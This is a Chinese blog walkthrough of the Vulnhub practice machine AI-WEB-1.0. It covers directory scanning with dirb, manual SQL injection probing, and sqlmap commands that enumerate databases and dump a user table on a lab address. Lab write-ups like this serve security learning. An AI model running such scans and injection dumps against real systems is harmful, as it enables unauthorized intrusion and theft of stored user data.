Vulnhub靶机:AI-WEB-1.0

一,先访问一下网页

d6628acd1cd6471ba8407125be92dc4e.png

二,对网站进行目录和文件扫描

8ea594cfb23e4a32964764540ca3fc6a.png

出现robots.txt

三,进入网站查询

a3afb46ed83d46d783bf15ebe55e8d0d.png

访问发现/m3diNg0/没有权限

0d1f7045ed9043e1b42a4e4b7c03fca4.png

访问发现/se3reTdir777/目录可以访问成功

fb77a346d271401583c17f1dee473e00.png

 

四,使用dirb进行扫描

dirb http://172.16.1.88/m3diNf0/
dirb http://172.16.1.88/se3reTdir777/

e68b87778f124f0bbec6092cb4ba5c78.png

db685ed1157a46cba53bbf1d97920f38.png

 

扫描发现到172.16.1.88/m3diNf0/有一个info.php页面

尝试访问

d7b3d3f2d8734357aebfcf1224ce8f08.png

172.16.1.88/se3reTdir777/有一个index.php页面

尝试访问

f5417207c9194ae08ef08b04d1fbfb5d.png

五,发现是查询页面 考虑sql注入

尝试注入:

输入一个1试试

ed9936a7e1c64c6688142b6fb6a6c29c.png

返回成功

26dbefe8c817477683ef9a73ff8f7e05.png

返回成功

bb87d53da84c4c94938c563533b35a19.png

返回成功

6c0a6073b6d042948810936e78784f72.png

当我们输入id为4时,返回失败了,查询结果为无
我们可以从数据库中知道一共有三个用户

尝试使用单引号结果报错(1')

87023645a046440694c68b124708bba4.png

产生报错,报错原因是单引号末闭合
再加一个单引号,两个单引号刚好构成闭合,如果返回正常的话则存在sql注入漏洞

714b77ca9193483aa71b6d8abcab6879.png

可以看到正常返回了id为1的结果,存在注入
使用sqlmap进行注入攻击:
由于是post数据包,我们需要打开BP进行抓包,将数据包进行复制,存储到txt中进行sqlmap测试

091b9f16146940f2b49b409a18023529.png

六,使用sqlmap进行扫描

查看当前服务下所有数据库

sqlmap -u  "http://172.16.1.88/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs

daa2e6493f724e18a4084a75bee2b577.png

查看当前数据库下所有表

sqlmap -u  "http://172.16.1.88/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables

afaab1ea3a5b44c4a0b399fcbb33105e.png

判断User表下字段名称

sqlmap -u  "http://172.16.1.88/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns

 

 

ac359a5472ba45159518a9ef3e4fa3f1.png

将id表中数据dump下来

sqlmap -u  "http://172.16.1.88/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C id --dump

fcb2b57eb46848519da1b5e39e03ff72.png

 

 

 

 

  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值